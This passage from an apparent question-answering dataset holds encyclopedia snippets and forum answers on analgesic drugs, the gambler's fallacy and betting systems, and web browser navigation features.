premature labor. While preferred over agents such as atosiban and ritodrine, its role has largely been replaced by the calcium channel blocker nifedipine, which is more effective and better tolerated.\nSalbutamol has been", "to pain and swelling. Ibuprofen, paracetamol and aspirin are prostaglandin inhibitors. Aspirin and ibuprofen were shown to be effective at blocking both early and late stages of the RWH, and paracetamol was effective in blocking the early stage.", "as acetaminophen), aspirin, and caffeine. Several NSAIDs, including diclofenac and ibuprofen have evidence to support their use. Aspirin can relieve moderate to severe migraine pain, with an effectiveness similar to sumatriptan. Ketorolac is available in an intravenous formulation.\nParacetamol, either alone or in combination with metoclopramide, is another effective treatment with a low risk of adverse effects. Intravenous metoclopramide is also effective by itself. In pregnancy, paracetamol and metoclopramide are deemed safe as are NSAIDs until the third trimester. Triptans Triptans such as sumatriptan are effective for both pain and nausea in up to 75% of people. When sumatriptan is taken", "potent narcotic pain medications do exist, all medications stronger than sufentanil are approved for veterinary use only. It is also used in surgery and post operative pain control in patients that are taking high dose buprenorphine for chronic pain because it is the only opioid that has a potency and binding affinity strong enough to displace buprenorphine from the opioid receptors in the central nervous system and provide analgesia.\nIn 2018, the Food and Drug Administration (FDA) approved Dsuvia, a sublingual tablet form of the drug, that was developed in a collaboration between AcelRx Pharmaceuticals and the United States Department", "and opioid formulations. Although each has its own pain-relieving efficacy, they also pose adverse effects. According to two doctors, Ibuprofen-APAP combinations have the greatest efficacy in pain relief and reducing inflammation along with the fewest adverse effects. Taking either of these agents alone or in combination may be contraindicated in those who have certain medical conditions. For example, taking ibuprofen or any NSAID in conjunction with warfarin (a blood thinner) may not be appropriate. Also, prolonged use of ibuprofen or APAP has gastrointestinal and cardiovascular risks. There is high quality evidence that ibuprofen is superior", "an analgesic that is most effective when used alongside a low-dose opioid; because, while it does have analgesic effects by itself, the doses required for adequate pain relief when it is used as the sole analgesic agent are considerably higher and far more likely to produce disorienting side effects. A review article in 2013 concluded, \"despite limitations in the breadth and depth of data available, there is evidence that ketamine may be a viable option for treatment-refractory cancer pain\".\nLow-dose ketamine is sometimes used in the treatment of complex regional pain syndrome (CRPS). A 2013 systematic review found only low-quality evidence", "Ketamine Pain management Ketamine may be used for postoperative pain management. Low doses of ketamine may reduce morphine use, nausea, and vomiting after surgery.\nKetamine has similar efficacy to opioids in a hospital emergency department setting for management of acute pain and for control of procedural pain.\nIt may also be used as an intravenous analgesic with opiates to manage otherwise intractable pain, particularly if this pain is neuropathic. It has the added benefit of counteracting spinal sensitization or wind-up phenomena experienced with chronic pain. At these doses, the psychotropic side effects are less apparent and well managed with benzodiazepines. Ketamine is", "\"painkillers\") are used to relieve pain (achieve analgesia). The word analgesic derives from Greek \"αν-\" (an-, \"without\") and \"άλγος\" (álgos, \"pain\"). Analgesic drugs act in various ways on the peripheral and central nervous systems; they include paracetamol (para-acetylaminophenol, also known in the US as acetaminophen), the nonsteroidal anti-inflammatory drugs (NSAIDs) such as the salicylates, and opioid drugs such as hydrocodone, codeine, heroin and oxycodone. Some further examples of the brand name prescription opiates and opioid analgesics that may be used recreationally include Vicodin, Lortab, Norco (hydrocodone), Avinza, Kapanol (morphine), Opana, Paramorphan (oxymorphone), Dilaudid, Palladone (hydromorphone), and OxyContin (oxycodone).", "pain such as cancer pain and after surgery. It is typically used either by mouth or rectally but is also available intravenously. Effects last between two and four hours. Paracetamol is classified as a mild analgesic. Paracetamol is generally safe at recommended doses. NSAIDs Nonsteroidal anti-inflammatory drugs (usually abbreviated to NSAIDs), are a drug class that groups together drugs that decrease pain and lower fever, and, in higher doses decrease inflammation. The most prominent members of this group of drugs, aspirin, ibuprofen and naproxen, are all available over the counter in most countries. COX-2 inhibitors These drugs have been derived", "Nomifensine Clinical uses Nomifensine was investigated for use as an antidepressant in the 1970s, and was found to be a useful antidepressant at doses of 50–225 mg per day, both motivating and anxiolytic. Side effects and withdrawal from market During treatment with nomifensine there were relatively few adverse effects, mainly renal failure, paranoid symptoms, drowsiness or insomnia, headache, and dry mouth. Side effects affecting the cardiovascular system included tachycardia and palpitations, but nomifensine was significantly less cardiotoxic than the standard tricyclic antidepressants.\nDue to a risk of haemolytic anaemia, the U.S. Food and Drug Administration (FDA) withdrew approval for nomifensine on March", "Austrian, and Swiss headache societies and the German Society of Neurology recommends the use of paracetamol in combination with caffeine as one of several first-line therapies for treatment of tension and migraine headaches. In the treatment of acute migraine, it is superior to placebo, with 39% of people experiencing pain relief at one hour compared with 20% in the control group. Postoperative Paracetamol combined with NSAIDs may be more effective for treating postoperative pain than either paracetamol or NSAIDs alone. Teeth NSAIDs such as ibuprofen, naproxen, and diclofenac are more effective than paracetamol for controlling dental pain or pain arising", "damage especially in those that consume 3 or more drinks/day and those with pre-existing liver disease. Ibuprofen, one of the NSAIDs listed above, is a common choice for pain relief but may also lead to gastrointestinal discomfort.\nAnalgesic/sedative combinations are widely used (e.g., analgesic/antihistamine combinations like Syndol, Mersyndol and Percogesic, analgesic/barbiturate combinations such as Fiorinal). In addition analgesic/caffeine combinations are popular such as the aspirin-caffeine combination (Anacin) or the aspirin, acetaminophen and caffeine combinations (Excedrin Extra-Strength, Excedrin Migraine, and Vanquish). Frequent use (daily or skipping just one day in between use for 7–10 days) of all of the above", "Propyphenazone/paracetamol/caffeine Medical uses This combination is used for the relief of pain such as headache, toothache, menstrual discomfort, pain and fever associated with colds and flu, and for postoperative and rheumatic pain. Efficacy Paracetamol, an analgesic and antipyretic substance, has slow onset but has a longer duration of action and is lacking anti-inflammatory properties. On the other hand, propyphenazone, a non-steroidal anti-inflammatory drug (NSAID), is proven to have a faster onset but shorter duration of action. The combination of paracetamol and propyphenazone increases and prolongs the therapeutic activity of propyphenazone: peak blood plasma concentrations increase by about 40%, and", "ibuprofen is a suggested non-steroidal anti-inflammatory and painkiller that can help alleviate both the headache and nausea associated with AMS. It has not been studied for the prevention of cerebral edema (swelling of the brain) associated with extreme symptoms of AMS.\nFor centuries, indigenous peoples of the Americas such as the Aymaras of the Altiplano, have chewed coca leaves to try to alleviate the symptoms of mild altitude sickness. In Chinese and Tibetan traditional medicine, an extract of the root tissue of Radix rhodiola is often taken in order to prevent the same symptoms, though neither of these therapies has been", "codeine preparations found in many non-prescription pain relievers. They can also be found in combination with vasoconstrictor drugs such as pseudoephedrine for sinus-related preparations, or with antihistamine drugs for allergy sufferers.\nWhile the use of paracetamol, aspirin, ibuprofen, naproxen, and other NSAIDS concurrently with weak to mid-range opiates (up to about the hydrocodone level) has been said to show beneficial synergistic effects by combatting pain at multiple sites of action, several combination analgesic products have been shown to have few efficacy benefits when compared to similar doses of their individual components. Moreover, these combination analgesics can often result in significant", "that have been introduced for uses other than analgesics are also used in pain management. Both first-generation (such as amitriptyline) and newer anti-depressants (such as duloxetine) are used alongside NSAIDs and opioids for pain involving nerve damage and similar problems. Other agents directly potentiate the effects of analgesics, such as using hydroxyzine, promethazine, carisoprodol, or tripelennamine to increase the pain-killing ability of a given dose of opioid analgesic.\nAdjuvant analgesics, also called atypical analgesics, include nefopam, orphenadrine, pregabalin, gabapentin, cyclobenzaprine, hyoscine (scopolamine), and other drugs possessing anticonvulsant, anticholinergic, and/or antispasmodic properties, as well as many other drugs with CNS", "greater and lasted longer than that of esketamine. As such, as an antidepressant, the contrary has been stated (\"R ketamine appears to be a potent and safe antidepressant relative to S ketamine\", \"(2R,6R)-HNK (hydroxynorketamine), a major metabolite of (R)-ketamine\", \"R-ketamine as a longer-lasting antidepressant compared with rapastinel\").\nEsketamine inhibits dopamine transporters eight times more than arketamine. This increases dopamine activity in the brain. At doses causing the same intensity of effects, esketamine is generally considered to be more pleasant by patients. Patients also generally recover mental function more quickly after being treated with pure esketamine, which may be a result of", "than aspirin in tablets, which makes them useful for the treatment of migraines. Topical aspirin may be effective for treating some types of neuropathic pain. Headache Aspirin, either by itself or in a combined formulation, effectively treats certain types of a headache, but its efficacy may be questionable for others. Secondary headaches, meaning those caused by another disorder or trauma, should be promptly treated by a medical provider.\nAmong primary headaches, the International Classification of Headache Disorders distinguishes between tension headache (the most common), migraine, and cluster headache. Aspirin or other over-the-counter analgesics are widely recognized as effective for the treatment" ]

[ "Gambler's fallacy is basically an incorrect line of thinking that previous outcomes somehow affect the next outcome. So if you just flipped tails 9 times in a row, then the \"gambler\" would be thinking *this next one has GOT to be heads because 10 tails in a row is just ridiculous!* and he bets heads.\n\n\nIt's a fallacy because the odds were still 50/50 on that coin, yet he *thought* heads had a higher chance.", "The fallacy lies in being confused about when you should \"start counting\". \n\nLet's go with your fair coin. If I say \"Let's throw this coin 10,000 times and count heads\", then you are right, getting heads 10,000 times is very unlikely. The chance is 0.5 * 0.5 * 0.5 * .... * 0.5, 10,000 times. \n\nBut if I say \"Let's throw this coin once\", then the chance for heads is exactly 0.5. That's because a fair coin has no memory. \n\nThe important thing to note is: Whenever we want to figure out the probability that something *will* happen, it doesn't matter what *already* happened (if we assume a fair coin, that is). So, chance that you *will* flip heads 10,000 times is very low. Chance that you *will* flip heads 1 time after you have *already* flipped 9,999 heads is just the ordinary 50:50.\n\nEDIT for clarity.", "Yarr, ['twas asked by those what sailed in before ye!](_URL_1_)\n\nEnjoy yon older explanations, and remember [rule 7](_URL_0_) says search to avoid repostin'.", "If a coin is balanced such that it always has a 50/50 chance to be heads or tails then the next flip you do has a 50/50 chance to be heads or tails.\n\nThe fallacy is thinking that anything you have previously done affects the next outcome.\n\nALL outcomes are equally improbable.\n\nFlip once and these results are all equally likely:\n\nH\n\nT\n\nFlip twice and these results are all equally likely:\n\nHH\n\nHT\n\nTH\n\nTT\n\nFlip three times and these results are all equally likely:\n\nHHH\n\nHHT\n\nHTH\n\nHTT\n\nTHH\n\nTHT\n\nTTH\n\nTTT\n\nAnd so on and so forth. The number of results in this case is 2 ^ N where N is the number of flips. All results have the same chance to occur.\n\nFlipping it 10,000 times and getting HHHHHHH....H is just as improbable as flipping it 10,000 times and getting HTHTHTHTHTHTH....HT. Or getting HHHHHHHHT.....HHHHHHHHT etc. Or getting THHHTHHTHHHTTTHHTTHHTHTHTH and so on.\n\nIf you have flipped it 9,999 times and gotten heads every single time then you are simply in one branch of an equally likely chain of events as any other. You now have a 50/50 chance for the result to be HHHHHHH....HT as you do for it to be HHHHHH....HH - assuming the coin is perfectly balanced.\n\nIn practice however while that is theoretically just as probable as any other outcome they would probably test the coin to see it actually is balanced. But there have been studies that show that when people try to 'fake' data for things like doing 1,000 coin flips they actually fail pretty often (analysis can show they faked the data) because they tend NOT to display long chains of the same heads or tails results compared to a computer doing it.", "maybe this?: Gamblers fallacy is, as some said, the fact that a single independent event is not affected by the previous events. Mathematically this is correct. \nHowever, if you take a real life scenario and apply it, such as coin flipping, getting 9999 heads in a row is improbable and so at this point its fair to start questioning the 'fairness' of the coin - which is what makes you expect to be able to predict the final outcome. \nIf the event has an exactly 50/50 mathematical verifiable probability outcome under rigorous repeatable conditions then you cannot predict the final outcome based off the previous events. If the event conditions are uncontrolled in some way, then 9999 heads in a row COULD hint at some bias being introduced causing it to land on heads, which is why you expect to be able to predict the final coin flip. You think the last heads is 'probable' because your experience of the improbable event history hints at the fairness being flawed.", "Because each coin flip has 50/50 chance being either side (this is simplified, the person doing the flipping and how they are flipping it affect this). So the chance does not change for flip 10,000 after the last 9,999 are the same, it is still 50/50. \n\nThe 50/50 chance is determined since there are two sides, so two possible options (disregarding landing on its side), and over a large number of flips it should even out. So for flip 10,000 where the last 9,999 flips were heads, one would expect tails so that that 50/50 split of occurrences happens, but that doesn't change the CHANCE that it will be either side.", "A fair coin has a 50/50 chance of landing on heads or tails any time. So you have two possible outcomes:\n\n* h\n\n* t\n\nNow you flip a second time, again, two possible outcomes, heads or tails. But a 1 in 4 chance for any set of the two outcomes together\n\n* h h\n\n* h t\n\n* t t\n\n* t h\n\nNote that you still have 50/50 odds of h or t.\n\n3 flips?\n\n* h h h\n* h h t\n* h t h \n* h t t\n* t t t\n* t h t\n* t t h\n* t h h\n\nstill 50 / 50 odds of h or a t, even though betting on any specific combination is now a 1/8th chance.\n\nAny given combined outcome is less likely, but nothing is upsetting the 50/50 chance per flip. If you already have h and h, your chances of h h t and h h h are equal. If you haven't begun, then h h h is just a 1/8th possibility." ]

[ "Gambler's fallacy The gambler's fallacy, also known as the Monte Carlo fallacy or the fallacy of the maturity of chances, is the mistaken belief that if something happens more frequently than normal during a given period, it will happen less frequently in the future (or vice versa). In situations where the outcome being observed is truly random and consists of independent trials of a random process, this belief is false. The fallacy can arise in many situations, but is most strongly associated with gambling, where it is common among players.\nThe term \"Monte Carlo fallacy\" originates from the best known example", "is another example of bias. Origins The gambler's fallacy arises out of a belief in a law of small numbers, leading to the erroneous belief that small samples must be representative of the larger population. According to the fallacy, streaks must eventually even out in order to be representative. Amos Tversky and Daniel Kahneman first proposed that the gambler's fallacy is a cognitive bias produced by a psychological heuristic called the representativeness heuristic, which states that people evaluate the probability of a certain event by assessing how similar it is to events they have experienced before, and how similar the", "relates to the past events, resulting in the gambler's fallacy. When a person considers every event as independent, the fallacy can be greatly reduced.\nRoney and Trick told participants in their experiment that they were betting on either two blocks of six coin tosses, or on two blocks of seven coin tosses. The fourth, fifth, and sixth tosses all had the same outcome, either three heads or three tails. The seventh toss was grouped with either the end of one block, or the beginning of the next block. Participants exhibited the strongest gambler's fallacy when the seventh trial was part of", "outcome is due after a long streak of another outcome. Type two gambler's fallacy, as defined by Gideon Keren and Charles Lewis, occurs when a gambler underestimates how many observations are needed to detect a favorable outcome, such as watching a roulette wheel for a length of time and then betting on the numbers that appear most often. For events with a high degree of randomness, detecting a bias that will lead to a favorable outcome takes an impractically large amount of time and is very difficult, if not impossible, to do. The two types differ in that type one wrongly assumes", "a face. Gambler's fallacy Apophenia is well documented as a rationalization for gambling. Gamblers may imagine that they see patterns in the numbers that appear in lotteries, card games, or roulette wheels. One variation of this is known as the \"gambler's fallacy\". Statistics In statistics, apophenia is an example of a type I error – the false identification of patterns in data. It may be compared with a so-called false positive in other test situations. Finance The problem of apophenia in finance has been addressed in academic journals. More specifically, within the world of finance itself, the examples most prone", "Proebsting's paradox In probability theory, Proebsting's paradox is an argument that appears to show that the Kelly criterion can lead to ruin. Although it can be resolved mathematically, it raises some interesting issues about the practical application of Kelly, especially in investing. It was named and first discussed by Edward O. Thorp in 2008. The paradox was named for Todd Proebsting, its creator. Practical application Many bets have the feature that payoffs and probabilities can change before the outcome is determined. In sports betting for example, the line may change several times before the event is held, and news may", "(1:1), betting 10 units would return 20 units for profit of 10 units. A successful gamble paying out at 4:1 would return 50 units for a profit of 40 units. So this wager is \"better than evens\" from the gambler's perspective because it pays out more than one for one. If an event is more likely to occur than an even chance, then the odds will be \"worse than evens\", and the bookmaker will pay out less than one for one.\nHowever, in popular parlance surrounding uncertain events, the expression \"better than evens\" usually implies a greater than 50-percent chance of", "true chances (as imagined by the bookmaker) that the event will or will not occur, but are the amount that the bookmaker will pay out on a winning bet, together with the required stake. In formulating the odds to display the bookmaker will have included a profit margin which effectively means that the payout to a successful bettor is less than that represented by the true chance of the event occurring. This profit is known as the 'over-round' on the 'book' (the 'book' refers to the old-fashioned ledger in which wagers were recorded, and is the derivation of the term", "Gamblers lost millions of francs betting against black, reasoning incorrectly that the streak was causing an imbalance in the randomness of the wheel, and that it had to be followed by a long streak of red. Non-independent events The gambler's fallacy does not apply in situations where the probability of different events is not independent. In such cases, the probability of future events can change based on the outcome of past events, such as the statistical permutation of events. An example is when cards are drawn from a deck without replacement. If an ace is drawn from a deck and", "and conclude from this that the previously unknown flip was \"tails\". Real world examples of retrospective gambler's fallacy have been argued to exist in events such as the origin of the Universe. In his book Universes, John Leslie argues that \"the presence of vastly many universes very different in their characters might be our best explanation for why at least one universe has a life-permitting character\". Daniel M. Oppenheimer and Benoît Monin argue that \"In other words, the 'best explanation' for a low-probability event is that it is only one in a multiple of trials, which is the core intuition", "and may indeed win very large sums of money, but the losses (which, depending on the design of the betting system, may occur quite rarely) will outweigh the wins. Certain systems, such as the Martingale, described below, are extremely risky, because the worst-case scenario (which is mathematically certain to happen, at some point) may see the player chasing losses with ever-bigger bets until he runs out of money.\nThe American mathematician Patrick Billingsley said that no betting system can convert a subfair game into a profitable enterprise.\nAt least in the 1930s, some professional gamblers were able to consistently gain an edge", "Impossibility of a gambling system The principle of the impossibility of a gambling system is a concept in probability. It states that in a random sequence, the methodical selection of subsequences does not change the probability of specific elements. The first mathematical demonstration is attributed to Richard von Mises (who used the term collective rather than sequence).\nThe principle states that no method for forming a subsequence of a random sequence (the gambling system) improves the odds for a specific event. For instance, a sequence of fair coin tosses produces equal and independent 50/50 chances for heads and tails. A", "Greater fool theory In finance and economics, the greater fool theory states that the price of an object is determined not by its intrinsic value, but rather by irrational beliefs and expectations of market participants. A price can be justified by a rational buyer under the belief that another party is willing to pay an even higher price. In other words, one may pay a price that seems \"foolishly\" high because one may rationally have the expectation that the item can be resold to a \"greater fool\" later. Examples In real estate, the greater fool theory can drive investment", "amount to take this gamble. In real life, people do not do this.\nBernoulli proposed a solution to this paradox in his paper: the utility function used in real life means that the expected utility of the gamble is finite, even if its expected value is infinite. (Thus he hypothesized diminishing marginal utility of increasingly larger amounts of money.) It has also been resolved differently by other economists by proposing that very low probability events are neglected, by taking into account the finite resources of the participants, or by noting that one simply cannot buy that which is not", "that gambling conditions are fair and perfect, while type two assumes that the conditions are biased, and that this bias can be detected after a certain amount of time.\nAnother variety, known as the retrospective gambler's fallacy, occurs when individuals judge that a seemingly rare event must come from a longer sequence than a more common event does. The belief that an imaginary sequence of die rolls is more than three times as long when a set of three sixes is observed as opposed to when there are only two sixes. This effect can be observed in isolated instances, or even sequentially.", "Martingale (betting system) Intuitive analysis The fundamental reason why all martingale-type betting systems fail is that no amount of information about the results of past bets can be used to predict the results of a future bet with accuracy better than chance. In mathematical terminology, this corresponds to the assumption that the win-loss outcomes of each bet are independent and identically distributed random variables, an assumption which is valid in many realistic situations. It follows from this assumption that the expected value of a series of bets is equal to the sum, over all bets that could potentially occur in", "you prefer Gamble B to Gamble A, it follows that you will also prefer Gamble D to Gamble C.\nWhen surveyed, however, most people strictly prefer Gamble A to Gamble B and Gamble D to Gamble C. Therefore, some assumptions of the expected utility theory are violated. Generality of the paradox The result holds regardless of your utility function. Indeed, the amount of the payoff is likewise irrelevant. Whichever gamble is selected, the prize for winning it is the same, and the cost of losing it is the same (no cost), so ultimately, there are only two outcomes: receive a specific", "a beginning and not a continuation of previous events. They suggested that this would prevent people from gambling when they are losing, in the mistaken hope that their chances of winning are due to increase based on an interaction with previous events. Users Studies have found that asylum judges, loan officers, baseball umpires and lotto players employ the gambler's fallacy consistently in their decision-making.", "economics\"). Greater fool theory Greater fool theory states that bubbles are driven by the behavior of perennially optimistic market participants (the fools) who buy overvalued assets in anticipation of selling it to other speculators (the greater fools) at a much higher price. According to this explanation, the bubbles continue as long as the fools can find greater fools to pay up for the overvalued asset. The bubbles will end only when the greater fool becomes the greatest fool who pays the top price for the overvalued asset and can no longer find another buyer to pay for it at a", "and lay bets between different bettors, thus effectively cutting out the bookmaker's traditional profit margin also called an overround.\nThese online exchange markets operate a market index of prices near but usually not at 100% competitiveness, as exchanges take commissions on winnings. True wholesale odds are odds that operate at 100% of probabilistic outcomes.\nBetting exchanges compete with the traditional bookmaker. They are generally able to offer punters better odds because of their much lower overheads but also give opportunities for arbitrage, the practice of taking advantage of a price differential between two or more markets. However, traditionally, arbitrage has always been", "for some people. Strategies which take into account the changing odds that exist in some games (e.g. card counting and handicapping), can alter long-term results.\nThis is formally stated by game theorist Richard Arnold Epstein in The Theory of Gambling and Statistical Logic as:\nTheorem 1: If a gambler risks a finite capital over many plays in a game with constant single-trial probability of winning, losing, and tying, then any and all betting systems lead ultimately to the same value of mathematical expectation of gain per unit amount wagered.", "simple system of betting on heads every 3rd, 7th, or 21st toss, etc., does not change the odds of winning in the long run. As a mathematical consequence of computability theory, more complicated betting strategies (such as a martingale) also cannot alter the odds in the long run.\nVon Mises' mathematical demonstration defines an infinite sequence of zeros and ones as a random sequence if it is not biased by having the frequency stability property. With this property, the frequency of zeroes in the sequence stabilizes at 1/2, and every possible subsequence selected by any systematic method is likewise", "Statistical arbitrage is an imbalance in expected nominal values. A casino has a statistical arbitrage in every game of chance that it offers—referred to as the house advantage, house edge, vigorish or house vigorish. The fall of Long-Term Capital Management Long-Term Capital Management (LTCM) lost 4.6 billion U.S. dollars in fixed income arbitrage in September 1998. LTCM had attempted to make money on the price difference between different bonds. For example, it would sell U.S. Treasury securities and buy Italian bond futures. The concept was that because Italian bond futures had a less liquid market, in the short term", "their bet after every loss so that the first win would recover all previous losses plus win a profit equal to the original stake. As the gambler's wealth and available time jointly approach infinity, their probability of eventually flipping heads approaches 1, which makes the martingale betting strategy seem like a sure thing. However, the exponential growth of the bets eventually bankrupts its users due to finite bankrolls. Stopped Brownian motion, which is a martingale process, can be used to model the trajectory of such games.\nThe concept of martingale in probability theory was introduced by Paul Lévy in", "or she would buy a gamble, and the upper prevision is the lowest price at which the decision maker is sure he or she would buy the opposite of the gamble (which is equivalent to selling the original gamble). If the upper and lower previsions are equal, then they jointly represent the decision maker's fair price for the gamble, the price at which the decision maker is willing to take either side of the gamble. The existence of a fair price leads to precise probabilities.\nThe allowance for imprecision, or a gap between a decision maker's upper and lower previsions, is", "to since the objective function is 1. Moreover, the worst Nash equilibrium is when is scheduled to and scheduled to since the objective function is . It is a Nash equilibrium because if job will be scheduled to machine the total load of this machine will raise from to , and likewise for job . Since Price of anarchy is equal to worst Nash equilibrium divided by Optimum, price of anarchy = . This is true for any natural and thus price of anarchy is not bounded as claimed.", "but not identical, results for each series: the average, the standard deviation and other distributional characteristics will be around the same for each series of trials.\nThe notion is used in games of chance, demographic statistics, quality control of a manufacturing process, and in many other parts of our lives.\nObservations of this phenomenon provided the initial motivation for the concept of what is now known as frequency probability.\nThis phenomenon should not be confused with the gambler's fallacy, because regularity only refers to the (possibly very) long run. The gambler's fallacy does not apply to statistical regularity because the latter considers the", "the series, of the expected value of a potential bet times the probability that the player will make that bet. In most casino games, the expected value of any individual bet is negative, so the sum of lots of negative numbers is also always going to be negative.\nThe martingale strategy fails even with unbounded stopping time, as long as there is a limit on earnings or on the bets (which is also true in practice). It is only with unbounded wealth, bets and time that it could be argued that the martingale becomes a winning strategy. Mathematical analysis The impossibility", "The fallacy obscures that the odds of a defendant being innocent given said evidence in fact depends on the likely higher prior odds of the defendant being innocent, the explicitly lesser odds of the evidence in the case that he was innocent as mentioned, as well as the underlying cumulative odds of the evidence being on the defendant.\nAt its heart, the fallacy involves assuming that the prior probability of a random match is equal to the probability that the defendant is innocent. For instance, if a perpetrator is known to have the same blood type as a defendant and 10%", "in the value of the underlying security. Arbitrage In economics and finance, arbitrage /ˈɑːrbɪtrɑːʒ/ is the practice of taking advantage of a price difference between two or more markets: striking a combination of matching deals that capitalize upon the imbalance, the profit being the difference between the market prices. When used by academics, an arbitrage is a transaction that involves no negative cash flow at any probabilistic or temporal state and a positive cash flow in at least one state; in simple terms, it is the possibility of a risk-free profit at zero cost. Example: One of the most popular" ]

[ "The browser simply stores the last scroll location in memory so even if a new request is sent (it may well just load a locally cached version depending on settings/browser) it can jump straight to it." ]

[ "can find a text string (a word, phrase or arbitrary set of letters) in the active page. Flip Ahead Internet Explorer 10 also introduces a new feature called Flip Ahead. This works in both Metro and desktop versions of Internet Explorer 10. It allows users to move through articles that span multiple pages as well as search results and other web pages with a \"next page\" or similar button. This feature is turned off by default as a user's browsing history is sent to Microsoft in order to provide the feature.\nAccording to the Windows SuperSite, Microsoft has said that some", "a file manager), while backspace usually does not. Common use In modern systems, the backspace key is often mapped to the delete character (0x7f in ASCII or Unicode), although the backspace key's function of deleting the character before the cursor remains.\nThe backspace key is commonly used to go back a page or up one level in graphical web or file browsers. ^W and ^U An alternative sometimes seen is ^W, which is the shortcut to delete the previous word in the Berkeley Unix terminal line discipline. This shortcut has also made it into the insert mode of the Vi text", "the left contains commonly accessed folders and prepopulated Search Folders. Seven different views are available to view files and folders, namely, List, Details, Small icons, Medium icons, Large icons, Extra large icons or Tiles. File and folder actions such as Cut, Copy, Paste, Undo, Redo, Delete, Rename and Properties are built into a dropdown menu which appears when the Organize button is clicked. It is also possible to change the layout of the Explorer window by using the Organize button. Users can select whether to display Classic Menus, a Search Pane, a Preview Pane, a Reading Pane, and/or the Navigation", "similar to Firefox's search feature. Allows users to search the current web page for a word or phrase. A search pane is placed at the bottom of the Internet Explorer window. Pressing CTRL+F displays this search pane if it closed, usurping the shortcut keys for Internet Explorer's default search. The Find on this Page... option in Internet Explorer's Edit menu still launches the browser's default Find window. \"Find as you type\" functionality actively searches for words or portions of a word as you type in the search box. Match Case feature allows users to search for words or phrases in", "to add links shown as thumbnail images in a page displayed when a new tab is opened. Once set up, this feature allows the user to more easily navigate to the selected web pages, and visual tabs, that allow the browsing multiple Web sites at one time. It also includes a password manager and pop-up handler, and it supports copy and paste, address auto-complete, zooming, history, and bookmarks (removed in Opera Mobile 15).\nThe browser can be used by either using finger-touch, a stylus on a touchscreen or with a keypad and can be displayed in portrait and landscape mode.", "is exposed using the search bars in the Start menu and the upper right hand corner of Windows Explorer windows, as well as Open/Save dialog boxes. When searching from the Start menu, the results are shown in the Start menu itself, overlapping the recently used programs. From the Start menu, it is also possible to launch an application by searching for its executable image name or display name. Searching from the search bars in Explorer windows replaces the content of the current folder with the search results. The Explorer windows can also render thumbnails in the search results if a", "did not implement them until Windows 95. A proportional thumb that completely fills the trough indicates that the entire document is being viewed, at which point the scrollbar may temporarily become hidden. The proportional thumb can also sometimes be adjusted by dragging its ends. In this case it would adjust both the position and the zooming of the document, where the size of the thumb represents the degree of zooming applied.\nA scrollbar should be distinguished from a slider which is another visually similar yet functionally different object. The slider is used to change values, but does not change the", "typing a word while viewing a web page, and Firefox automatically searches for it and highlights the first instance found. As the user types more of the word, Firefox refines its search. Also, if the user's exact query does not appear anywhere on the page, the \"Find\" box turns red. Ctrl+G can be pressed to go to the next found match.\nAlternatively the slash (/) key can be used instead to invoke the \"quick search\". The \"quick search\", in contrast to the normal search, lacks search controls and is wholly controlled by keyboard. In this mode highlighted links can be followed", "existing file or folder and opens the file name text field for the next file for renaming. Shift+Tab allow renaming in the same manner upwards.\nIn case a file is in use or \"locked\" by another application, Windows Explorer informs users to close the application and retry the file operation. Also, a new interface IFileIsInUse is introduced into the API which developers can use to let other applications switch to the main window of the application that has the file open or simply close the file from the \"File In Use\" dialog. If the running application exposes these operations by means", "for each link; links are opened by typing the corresponding number into the program.\nThis led one journalist of the time to write: \"The Web is a way of finding information by typing numbers.\"\nThe page scrolled down when an empty command (carriage return) was entered, and scrolled up with the command \"u\". The command \"b\" navigated backwards in history, and new pages were navigated with \"g http://...\" (for go to) and the URL.\nThe browser had no authoring functions, so pages could only be read and not edited. This was considered to be unfortunate by Robert Cailliau, one of the developers: \n\"I", "browser navigates to the new resource. Thus the process of bringing content to the user begins again. Settings Web browsers can typically be configured with a built-in menu. Depending on the browser, the menu may be named Settings, Options, or Preferences.\nThe menu has different types of settings. For example, users can change their home page and default search engine. They also can change default web page colors and fonts. Various network connectivity and privacy settings are also usually available. Privacy During the course of browsing, cookies received from various websites are stored by the browser. Some of them contain login", "of a text input within a large template. Replacing an entire template might also disturb a user's selection or cursor position, where updating only the changed value might not. To avoid these problems, applications can use UI data bindings or granular DOM manipulation to only update the appropriate parts of the page instead of re-rendering entire templates. Browser history With an SPA being, by definition, \"a single page\", the model breaks the browser's design for page history navigation using the Forward/Back buttons. This presents a usability impediment when a user presses the back button, expecting the previous screen state within", "some elements to make the whole page fit on the screen and preserve layout and \"Smart-Fit\" will display content in the order it appears in the HTML, and with no size adjustments; instead it will drop an element down below the preceding element if it starts to go off the screen.\nThe browser also has limited tabbed browsing, with a maximum of three tabs. When a website tries to open a link in a new window, the browser opens it in a new tab.\nParents can limit content by enabling Browser Start Up Control which blocks all access to the web browser", "list will include hyperlinks to the files, allowing for simple file sharing without maintaining a separate HTML file. Browser home page A home page also refers to the first page that appears upon opening a web browser, sometimes called the start page, although the home page of a website can be used as a start page. This start page can be a website, or it can be a page with various browser functions such as the display of thumbnails of frequently visited websites. Multiple websites can be set as a start page, to open in different tabs. Some websites are", "the down arrow key. An application can be used to change this behaviour. Linux In Linux, the End key has basically the same functionality as it does on Windows. It positions the cursor at the end of a line in editable text, and otherwise scrolls a scrollable document to the end. Also, like Windows, the End key can be used to highlight all the characters after the cursor in a certain line if pressed along with ⇧ Shift in editable text. Non-GUI applications In older screen-oriented, text-based (non-GUI) applications, the user pressed the \"End\" key to indicate that they had", "address typed into Windows Explorer is blanked out before completion. Using its own mailing engine, it sends itself to email addresses it finds on the computer, even faking the own user's email address as the sender.\nThe computer also restarts when trying to open the Windows Command Prompt and prevents the user from downloading files. It also pop ups the default Web browser and loads a web page (HTML) which is located in the \"My Pictures\" (or on Windows Vista, \"Pictures\") folder. It creates .exe files in folders usually named as the folder itself (..\\documents\\documents.exe) this also includes all mapped network", "is a text wrap option to automatically wrap text to the width of the screen at different zoom levels. Users can also create bookmarks. Up to 32 pages can be stored in the browser's history before older items start being replaced.\nThe browser is based on NetFront NX v1.0, which uses the WebKit layout engine, similar to desktop web browsers such as Google Chrome and Apple Safari. Technical specifications Compatibility specifications are fully documented on Nintendo's website, as well as in the browser's manual. Plug-ins Plug-ins (such as Adobe Flash Player) are not supported.\nThere are no way of installing any additional", "right-clicking (or ctrl (^) clicking, in Macs) a hyperlink to bring up a context menu, then selecting the appropriate download command, or pasting a URL directly into Safari's Downloads window.", "settings, under the miscellaneous category, meta refresh can be turned off by the user, thereby disabling its redirect ability.\nIn Mozilla Firefox it can be disabled in the configuration file under the key name \"accessibility.blockautorefresh\".\nMany web design tutorials also point out that client-side redirecting tends to 